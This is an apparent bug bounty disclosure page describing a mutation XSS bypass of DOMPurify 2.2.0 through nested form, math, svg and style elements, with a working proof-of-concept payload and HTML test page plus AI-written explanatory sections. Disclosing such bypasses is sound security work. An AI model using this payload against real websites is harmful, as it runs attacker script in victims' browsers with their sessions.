DOMPurify bypass
DOMPurify's sanitizer could be bypassed when sanitizing SVG elements using a mutation-based technique, allowing an attacker to inject an XSS payload. Websites using DOMPurify with default configuration are vulnerable.
- Triaged in 41 hours
- Fixed in 41 hours
- Disclosed after 44 days
A mutation based bypass exists in DOMPurify when sanitizing svg elements using almost the same technique described by Michał Bentkowski (@SecurityMB) at https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/.
A PoC payload with the DOM state before and after parsing is available at https://livedom.lab.xss.academy/#%7B%22input%22%3A%22%3Cform%3E%3Cmath%3E%3Cmtext%3E%3C%2Fform%3E%3Cform%3E%3Cmglyph%3E%3Csvg%3E%3Cmtext%3E%3Cstyle%3E%3Cpath%20id%3D%5C%22%3C%2Fstyle%3E%3Cimg%20onerror%3Dalert(1)%20src%3E%5C%22%3E%22%2C%22parser%22%3A%22DOMPurify%20Latest%22%7D
The following is a PoC html document that uses DOMPurify's latest version available at https://github.com/cure53/DOMPurify/releases/tag/2.2.0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="./purify.js"></script>
<title>DOMPurify bypass</title>
</head>
<body>
<script>
const html='<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(\'XSS\') src>">';
const sanitized = DOMPurify.sanitize(html);
let div = document.createElement('div');
div.innerHTML = sanitized;
</script>
</body>
</html>
The issue was already reported to the DOMPurify's team at https://github.com/cure53/DOMPurify/issues/482
Impact
Websites using DOMPurify with its default configuration are vulnerable to XSS.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a mutation XSS (mXSS) issue where the browser's parsing of certain SVG/MathML elements changes the DOM after sanitization, allowing an event handler to survive.
Impact
Websites using DOMPurify with its default configuration are vulnerable to XSS.
What the attacker needed
Site uses DOMPurify default config
How it was found
- Create an HTML string containing form, math, mtext, mglyph, svg, style, and img elements with an onerror handler.
- Pass the HTML string to DOMPurify.sanitize().
- Insert the sanitized output into a div's innerHTML.
- The payload is intended to execute the onerror handler.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
DOMPurify is a tool that cleans HTML to remove dangerous code. This report shows a way to sneak malicious code past it by using a trick that changes the HTML after it has been checked. As a result, an attacker could run their own JavaScript on a website that uses DOMPurify.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.